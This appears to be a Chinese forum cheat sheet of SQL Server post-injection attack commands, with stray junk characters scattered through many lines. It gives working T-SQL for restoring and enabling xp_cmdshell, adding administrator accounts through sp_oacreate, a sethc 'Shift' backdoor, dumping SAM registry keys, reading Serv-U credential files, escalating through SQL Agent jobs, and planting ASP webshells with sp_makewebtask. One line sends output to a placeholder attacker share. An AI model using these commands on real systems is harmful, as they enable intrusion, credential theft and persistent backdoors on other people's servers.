1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
; h& I8 x" r6 M6 [: t: P恢复方法:查询分离器连接后," x3 [( z. O5 u3 U$ S1 X4 K" v. X
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
* s& y+ b3 p- I第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' : ~" h' Y5 O# \
然后按F5键命令执行完毕5 U, y2 T& u8 |4 O6 M
4 P, A, G8 c3 O/ J3 f- K2 ?2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
# X" u9 A( s5 j! ~: z恢复方法:查询分离器连接后,; H) v& i5 D5 P+ u) E+ J; O) X
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
8 P& f& C6 C# U( ~7 D第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
, j2 ]8 X7 J" I然后按F5键命令执行完毕4 P3 ]4 I' T' }+ V) C/ t
7 z* J8 {: k- ^4 b! Y
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
. E4 q/ o$ g: f; ]# a恢复方法:查询分离器连接后,1 z& x6 e9 t9 C7 o F: o- L6 I
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'2 p0 B) A6 r' A% M! w! z
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' % k- h: ?6 r2 l; j1 y
然后按F5键命令执行完毕, v3 m% T' l7 A. ^* p" v
: G/ I: L: c3 M6 I* i. O
4 终极方法.
! |% ?" |2 k D ^3 l8 f, b如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
9 o" {/ ^4 s! y; M3 }; o查询分离器连接后,
0 ]$ n, f2 z* U( t0 B3 L2000servser系统:9 k* i Y+ J. Q+ C* q/ E N
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'/ a9 `% x# e3 @0 K f5 ~& u) y3 Y
& {7 N! D, \: v7 J" n
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'6 w/ h" c7 |& |( p; |
& X; _& B3 y3 s
xp或2003server系统:
" P, E& Z$ n% ^3 v: Q+ w: ?# W& T+ l" f: ]2 d2 m
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'# v8 b1 O" n% Y( y
7 K. f7 _6 {5 R, Z$ d3 z+ `: \1 Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'; E6 {. ~& `. z" p6 E4 b& @5 P
9 b6 D+ F) Q& E
+ y }8 I$ _7 N& U3 s/ L7 d五个SHIFT: f/ z1 |, ~. I+ o0 ` Z
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';& }% R# Q2 o( i# n8 k
I' W7 I; `7 c+ C, x8 bdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
9 B% f' W$ Z! z9 q" y9 F" ?* @$ Y% Y+ i# A+ Z
xp_cmdshell执行命令另一种方法
3 p$ N$ p' ]7 b& m/ cdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ( t& s7 E& Q$ D% i* R. I- v8 f8 E4 h
( H* c5 Y4 ~) O8 q
判断存储扩展是否存在! e _, U* O4 o) J
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
6 _% P) x- s+ c$ Z! ^" t! N返回结果为1就OK- I( P+ f1 a6 X0 o/ f. j9 d0 t$ I9 ]+ g
$ Y3 z& ^+ ^7 {7 u
; z% i% d/ b/ O+ h- I: Y上传xplog70.dll恢复xp_cmdshell语句:
/ z) J- p5 I8 s `% Vsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'8 f" y( b7 M' P2 z1 I
; r6 M. X7 _* p; n. G* M* M4 x5 \# E
否则上传xplog7.0.dll O$ h2 ?1 ^/ f3 P* q9 v3 b
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'/ o+ N; v5 [, i8 q
1 o- v/ {3 P3 N
6 t& b" b: A7 R8 s3 ^" l0 o3 M3 r- l/ z- ?: R7 u4 H" B5 n: O% [
首先开启沙盘模式:
7 }6 h5 i' _: jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 K, a9 ~; ]! U F
+ n" f6 x+ S; E! c; i* A
然后利用jet.oledb执行系统命令
* l- }& s! [* x1 l3 i- `select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')8 k" ?) d. j! p* J* b) L; W
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了- Y8 \. [' m& _1 d
- ]! n+ J/ x* P% b, W1 K9 i
9 h4 j9 w4 V( ?9 r8 |- S! x. g8 a7 u
5 P. G1 V6 c1 h- x& B
恢复过程sp_addextendedproc 如下:
8 \/ G9 \+ p5 E) screate procedure sp_addextendedproc --- 1996/08/30 20:13
7 c1 \! _+ a# X! B7 Z+ A4 S@functname nvarchar(517),/* (owner.)name of function to call */ ! b- b7 C( ~( @
@dllname varchar(255)/* name of DLL containing function */
& @$ L B1 T" c8 E+ a0 N$ }+ u4 Nas
: S1 }/ f, a* c6 }: \6 yset implicit_transactions off
) x% P# t" J4 I2 I* e' F& Zif @@trancount > 0
8 g1 z9 f1 o1 cbegin & e M& g. Y- m2 t# B/ S, G! P
raiserror(15002,-1,-1,'sp_addextendedproc') ! P, L/ n+ d3 V, B) ~" A9 D" z
return (1) - n+ q' w4 x$ u; a0 V: a5 p
end ! h5 v( \* A3 Q6 Z* D8 _, f9 i
dbcc addextendedproc( @functname, @dllname) 5 V; ?% a7 v9 r" j7 g) n2 `% r
return (0) -- sp_addextendedproc . Q+ P5 G$ x1 P# M6 S2 k/ J
GO ! Z% Q% p* f! C2 m# ^, p" b' q
0 L# q& n) h0 ?, ?- x1 n$ T
, u# p. P1 U6 [. F3 q/ {$ s
5 s5 V, N. U! a/ V. c* ]& c% L导出管理员密码文件( x) }+ n% M( }& t8 P! k, r
sa默认可以读sam键.应该。
, C$ ?# O5 U ?! E. m; }8 m( kreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
u0 H" z4 ?, nnet user administrator test
' H% G {2 L0 {; Q3 W: t. A- Q3 Y用administrator登陆.0 y7 z' \$ K7 M; E2 z; P
用完机器后, f Y% {3 Z2 H+ H4 j- ]- M1 R
reg import c:\test.reg
& `5 j( {- D k' i根本不用克隆.: k& f6 l; r& @6 I- c' s/ }# ~* q
找到对应的sid.
; i; s# U- l- P Y7 c5 Z, q4 Z- {2 ?
# [5 P# J) h/ V1 s( {2 r* i
% i" f# H \% x9 t8 E
恢复所有存储过程
% A2 J y- \9 Iuse master
4 O* D+ _/ ]7 N* A* d! x$ Aexec sp_addextendedproc xp_enumgroups,'xplog70.dll' + e) \9 I6 M2 M! ^4 Y$ ~& S2 C
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
& P9 y- g& s6 rexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
- ^: `3 A& T' ]) t- @2 `- zexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' % v1 y( N; |9 \$ v/ y6 l/ ~
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
) X& d, m! ?% V. wexec sp_addextendedproc sp_OACreate,'odsole70.dll' 9 k% n2 e; q2 S, a
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' ( C3 z, J: K& N6 O' @1 l( W
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
7 d) H8 z* t( c% [* C% i1 {exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
1 J8 @4 ?5 A: Fexec sp_addextendedproc sp_OAMethod,'odsole70.dll' 5 H5 H% ]- D! h6 P1 O
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' * M; a) I. Y" r4 r
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ! ]; d2 V' Y, m4 \
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
" | g2 c5 c2 e4 a2 ^# `- f4 Sexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
4 u7 T( T# T* R$ @4 G: }7 texec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' V$ k- s: E7 {
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
+ v' Q. A% O% z$ t J' w8 L0 @exec sp_addextendedproc xp_regread,'xpstar.dll' # W% @) u( ]* Y. j2 S' T
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
4 A& F9 i* L5 p4 z' u) Y( ]exec sp_addextendedproc xp_regwrite,'xpstar.dll' 2 [; J5 j! z! r8 Q W0 D+ o
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'1 J6 b$ `" q" t! c( b* Y
. X; O& ?; j2 L4 U5 N& u
- t$ Z% w7 G4 e% [7 M& p: L建立读文件的存储过程
. ], }( F. r% _. zCreate proc sp_readTextFile @filename sysname
9 }0 v4 h' T: eas
; T) Y1 _; W* c. i5 j
- t9 @- E" J7 r6 P( f0 S) X. e x begin 2 m# r; W" {( k* h+ H' q4 Z9 T9 p
set nocount on
! X$ } k; m+ q; I2 U! U$ x% ` Create table #tempfile (line varchar(8000))
# m* p2 @( b3 D f+ [2 I exec ('bulk insert #tempfile from "' + @filename + '"')$ L# x. W- H* d! x9 o% @% m* a, Y
select * from #tempfile) E( @* p) K1 {
drop table #tempfile+ K( r5 n) p, _2 z$ }
End
/ R( F$ E- g+ S) _, x( @1 y" }
/ L& m2 e( v, ?' xexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件! m& z4 F2 H8 N1 C, a3 V9 u9 ^
查看登录用户
6 ?3 W3 ?) L3 a- d6 GSelect * from sysxlogins: v9 g8 z; j! `8 p, D- x
* t. D% T3 _2 O4 k% P把文件内容读取到表中% ?) I* c4 L$ u0 H8 |1 ?5 f1 ?
BULK INSERT tmp from "c:\test.txt"- i3 m7 ], n+ p% @3 _* U
dElete from 表名 清理表里的内容
, o# o: T+ E. E$ p f0 b. Z) }. P, _create table b_test(fn nvarchar(4000));建一个表,字段为fn
& b* m* q2 \# ~. v$ i, M N' x: d: X/ g$ |( Z- N d' ^2 r
" E, E* ~6 O, G. Y' ~
加sa用户9 ?. O% f; _& H
exec master.dbo.sp_addlogin user,pass;/ f; d; G1 k) R# S% [2 F, ?2 D
exec master.dbo.sp_addsrvrolemember user,sysadmin. e9 g/ {; ] |$ l3 G6 {1 F2 q) L+ M
+ ~: W+ x% _" i1 q; [
) G4 k; M# }, }% X; ` n7 B& x6 R( D1 y$ s
读文件代码
7 ^6 Q1 [. E @9 d# M- j1 jdeclare @o int, @f int, @t int, @ret int
/ A, \# I# {7 ddeclare @line varchar(8000)4 a5 i$ a6 P* ]' x% Q8 x/ ]
exec sp_oacreate 'scripting.filesystemobject', @o out
+ {' B+ W, d6 u1 M" H* Texec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1% o- e* V4 J' C
exec @ret = sp_oamethod @f, 'readline', @line out
; H% p2 K7 q' s B! E; Swhile( @ret = 0 )
& j+ e2 g, J! ]3 s# v2 U, Xbegin, P' q5 D( Q8 [/ R! Y; D7 E
print @line
) o' m+ A% i3 I: e' lexec @ret = sp_oamethod @f, 'readline', @line out! d7 h+ w: ^# G' C* Y: J3 D W( {
end: K% K. B6 L8 n* \
R# `4 N) p: F& I" g! F& ~5 ^; s
0 d( c8 ^. h6 c/ Y4 T
写文件代码: Q0 K+ ]2 {9 k- p2 | I$ n6 |
declare @o int, @f int, @t int, @ret int' c% V! g' @2 N& h
exec sp_oacreate 'scripting.filesystemobject', @o out
/ f; M( e' X: b g T1 C! P" Y1 D# bexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
# X7 O' \7 U* J1 Cexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》 [- E7 }# Y' _: C- d, K
( w" D% c R, I6 N: |* l+ x1 a
' q# T# U# ]+ s7 B# S添加lake2 shell0 v% ^2 O% L3 e# N. e% g6 j$ ?, B
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'$ M2 `, W+ K4 T2 q) F0 }
sp_dropextendedproc xp_lake20 `9 G j+ O, @: i/ h" t, |
EXEC xp_lake2 'net user'
& L$ h, z" f2 A& ]1 k8 m% x% A% L2 z6 E3 a) y' I
) Q9 f% p+ p! `) T- f
得到硬盘文件信息
8 Y3 B' a6 `0 [--参数说明:目录名,目录深度,是否显示文件 ! |3 h9 ~5 o+ {; Z% z; J( d/ b
execute master..xp_dirtree 'c:' * `4 R8 Q* \$ V" j5 g% w# l I# b
execute master..xp_dirtree 'c:',1
0 U* r) Q$ |" M/ yexecute master..xp_dirtree 'c:',1,1 ( G4 A) S+ N" z5 @* k7 q' q
7 t0 ]8 }" X) W, d. L
# b* X; o3 r, b0 R6 q3 d读serv-u配置信息
" m+ q% [" t4 x. ?( c1 Eexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'* `% G4 e; `! D8 a8 r) o, D
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
4 F: I7 i) ?) W) @) ?: q
( U9 e/ q+ o, t% m" Y0 p! t通过xp_regwrite写SHIFT后门
H' O) }( Q p V) Yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
, Z0 N K ]/ Z( c4 o4 L, @9 t3 E( a; k
5 y+ I% r9 O! |
: z3 e6 `. Q* d" u7 l/ _! n找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
$ \2 B$ N# M- Mexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
# N9 e; h$ B5 T/ \4 m+ s4 }. {1 k+ A% \1 Z
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'2 P! q5 m+ A! c4 b1 b& c
3 n. q' V+ d. L4 e1 @
. d- s1 z/ \- x- N5 V0 l- T6 \/ j$ Q+ a/ ~! h
sql server 2005下开启xp_cmdshell的办法. I/ @. F. l/ j2 Q6 v* l [
! m% c1 h7 C+ u5 l S) ?EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
/ f ]0 E4 Z! Z' K0 t& _# `2 s& Z$ G+ Y/ ~5 b" ?7 D
SQL2005开启'OPENROWSET'支持的方法:
" k* i* Z( n4 _, o `
) ~. p' i* ?+ e$ J- v/ Nexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
" _& R- S+ f* H! p4 L
& h# G2 e, G+ U: }1 ]SQL2005开启'sp_oacreate'支持的方法:
( B* n7 |6 D+ K [8 Q" G
9 h8 Z+ \+ K" Z% ^exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;0 [3 K( A M+ N" X
9 {& u, M/ L) o1 ?( r: n
" m$ j; m9 n1 ?1 i2 q7 r
* [8 Z' T8 `( n5 u6 E" h
}6 t7 z; i2 x% V4 D. d) K
+ z5 ^4 G! k3 R" c0 A: W) v( j1 F0 D( F( A4 Z4 R% R
3 b0 c0 y+ n8 P4 s s& Z9 O
. B0 _" T3 w0 T. n- u' c
, W8 G6 Z8 t9 J- X! R) _
3 `, A2 W8 A' T+ F4 T: p. u& s9 E) z0 ~3 v0 {- K' N8 }* e
5 V1 \, _# H- W; u- _/ @6 Q4 w# i H+ w* p3 u$ k$ C
* H) V( _8 i) _$ U" t5 E! F% t3 _. F6 L5 R5 x8 k) f2 z. E
3 g$ Y6 Z3 y; x- H* C4 _+ r
+ r% ~7 h/ \& Q( a+ B) S" ^$ @/ G2 k. J5 S4 z1 p* O2 |
1 z) z1 u8 C! J9 u" S
2 u2 x' Q3 }/ Q% ]2 T3 Q& F" w) {
# k" b! ?% D1 D# j% ~, U& U" Q. f% v4 C& S7 t
: Q B" w( z$ i$ \. L) H! x& w9 i F9 x) f" Q7 S5 O; `
以下方面不知道能不能成功暂且留下研究哈:
?6 O! Y' ?; _# \8 J* y4)
2 L% q6 d2 f; O/ j$ Duse msdb; --这儿不要是master哟
, A( _" w9 a( Y+ D) D+ ^ b8 Xexec sp_add_job @job_name= czy82 ;
. _% H: e4 d; sexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
- V( V: N, |, n6 zexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
5 Y2 \1 Z/ q* v: x1 o! g' Dexec sp_start_job @job_name= czy82 ;! ?( q# q+ @4 Z" L4 F
' {+ C4 E4 i% k* p7 y利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
2 c. C8 V( S, J5 X6 H执行tsql语句了.
1 B2 P- g: s2 @$ J# Z对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名. l2 t- L+ h) V K: v
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)/ T; @+ q; ]4 S
net start SQLSERVERAGENT
' H; H, m' c' v& R- U4 g
) w/ z. Z" F: ^4 P8 A对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
7 \; j0 [; q. D0 T9 G. F- wUSE msdb
* q* I8 M( E8 kEXEC sp_add_job @job_name = GetSystemOnSQL ,, O6 \9 d0 C+ f$ V2 ^1 Z, k. x
@enabled = 1,, j0 J3 e8 J1 q$ f% i
@description = This will give a low privileged user access to8 _# W. r" I( {
xp_cmdshell ,$ `1 E/ M2 K \" l1 F4 R) I
@delete_level = 10 Y- p$ Z6 m$ N3 ]/ d3 P% k& r
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
# S! J7 B% ?' @@step_name = Exec my sql ,
7 a7 p0 y: _+ R; r@subsystem = TSQL ,1 [* g9 d* C+ l7 l
@command = exec master..xp_execresultset N select exec3 z- D$ h+ B5 w3 x% m9 @
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
4 l; P: y5 {# D6 m R& |EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
/ s! R1 T* @7 @/ I* [+ B@server_name = 你的SQL的服务器名 . O/ N8 s& ^' `/ g( I& b# ~7 W
EXEC sp_start_job @job_name = GetSystemOnSQL
7 f! C9 Q& J! S% l' E, E2 Q8 R5 k: H% J. |4 ~ z: O
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以5 e8 @0 j8 i- V6 M) S' n0 b
才让我们可以以public执行xp_cmdshell+ U% ?$ P# _& u# ^: n( {/ F" U
$ R! Q- q& |. A( u9 c) @) n
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)5 x) e4 o( q! S: p6 v& k
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
+ ?" t- p. w' {* ?
5 \; U% }4 g& Q5 H9 ZUSE msdb
: f: E6 p4 k' ?EXEC sp_add_job @job_name = ArbitraryFilecreate ,1 m G+ q' v# G: s. P
@enabled = 1,( s# }! Y1 h A x, n
@description = This will create a file called c:\sqlafc123.txt ,
% ^+ ^$ `% ^. J# V( A2 }: k@delete_level = 1; |. r; n( G* L; r' i5 G
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,' e: v: y& ?( m$ U& k! m. Z, ?. P0 K
@step_name = SQLAFC ,) H; s; x+ P% e# o' s; k, x8 L( f
@subsystem = TSQL ,
- }: }& y4 v) h@command = select hello, this file was created by the SQL Agent. ,
6 E" |- y$ z& _4 m6 Y# p@output_file_name = c:\sqlafc123.txt
r5 q4 I3 V. Z7 y8 P2 `' r0 SEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
" v2 ?8 F5 z: B. w7 p. A@server_name = SERVER_NAME 9 E( D5 f: `# `0 j% c; H. a' M
EXEC sp_start_job @job_name = ArbitraryFilecreate $ z1 a) V, N; p5 P: R; n
; ?. x" E' q7 \) E0 s如果subsystem选的是:tsql,在生成的文件的头部有如下内容" L3 B& }- w; @( R' i( i! x
5 l8 x* b& w+ m$ L4 a# F
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19( v# s5 O, H9 u* C# v) O: D! v2 ]
----------------------------------------------
! e- _, F( k; `, t; ^hello, this file was created by the SQL Agent.
3 S) N+ T' M5 g i% d$ d; t5 ^1 ]) Q$ o* U8 O! C1 _
(1 ?????)
+ y, A9 a. p, U6 G1 O; ~0 x d/ d/ b! X5 F% z
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员/ V/ s1 T! I. m/ E1 \
命令的vbs文件到启动目录!# b1 x3 m+ I9 p/ r
2 e, J( \" c$ a/ o2 \6)关于sp_makewebtask(可以写任意内容任意文件名的文件)3 t* h8 q8 }8 S7 g# L! e$ k
关于sp_MScopyscriptfile 看下面的例子( N( r6 o6 X$ {) ~
declare @command varchar(100)
+ Z7 p/ v+ J. e6 F$ ?" x* Vdeclare @scripfile varchar(200)
% c# I4 C$ H2 c$ t% q R8 @set concat_null_yields_null off ; t6 \# R0 q* t9 U& a4 l
select @command= dir c:\ > "\\attackerip\share\dir.txt"
: u0 W$ B1 g; m: O( H. B; Fselect @scripfile= c:\autoexec.bat > nul" | @command | rd " ' u% d6 A. S0 n
exec sp_MScopyscriptfile @scripfile ,
' P X4 q: o, K! r h" h5 I
. l: v7 T2 b) z) {6 I7 d这两个东东都还在测试试哟
# b1 O) f. D* k" q2 X- V$ ~, N+ m让MSSQL的public用户得到一个本机的web shell
, [* f( @1 Y& X0 I. S G. V# n
: V9 O' p; v/ N! m/ w! X3 l0 ]4 h; lsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,' i, U7 j: C& \/ k# F
--@query= select <img src=vbscript:msgbox(now())>
& }( V7 M* K a3 L--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
% k2 D8 j) L( G( ?# k) S@query= select $ T+ a( `1 Y3 B! t, C, Z' T5 v0 L
<%On Error Resume Next # `/ e( D& r& ^" v( y T
Set oscript = Server.createObject("wscript.SHELL") / h4 }$ C7 E5 R/ ~4 I
Set oscriptNet = Server.createObject("wscript.NETWORK")
; v, ?9 n/ P0 I4 [. i8 n8 |! Z; S2 fSet oFileSys = Server.createObject("scripting.FileSystemObject") 6 N+ s9 j1 ~6 P7 b6 o
szCMD = Request.Form(".CMD")
# _3 X1 I, A' `! A5 V$ Z7 QIf (szCMD <>"")Then
: x8 G" @. Q) g; k( NszTempFile = "C:\" & oFileSys.GetTempName() ( t% _$ P) X I( [
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
3 c" p/ s, S! g0 Q: kSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
$ v; ~1 @4 X. [7 O; E& ~ E: lEnd If %> ( q8 E7 M3 L5 M* o& a, l
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
& p5 v3 u X% ~6 x<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 2 U( d2 `6 q4 a0 C# o! X: P- \
</FORM>< RE> 9 u6 P# ]6 r/ y, ~/ ?6 O) {3 v7 j
<% If (IsObject(oFile))Then ! N* k3 x. E5 _: ?" w6 {
On Error Resume Next ; V' b+ F+ J P' j" \
Response.Write Server.HTMLEncode(oFile.ReadAll)
5 C% _- L- v, i3 a7 S2 J4 KoFile.Close
+ _, e. t: n- c8 G6 VCall oFileSys.deleteFile(szTempFile, True)
# k' b; _# y" c5 H" x+ \1 C+ JEnd If%>
$ D7 T3 R& W1 }8 h' K</BODY></HTML> . s9 ?& d7 ]: I; |. i6 X. J
|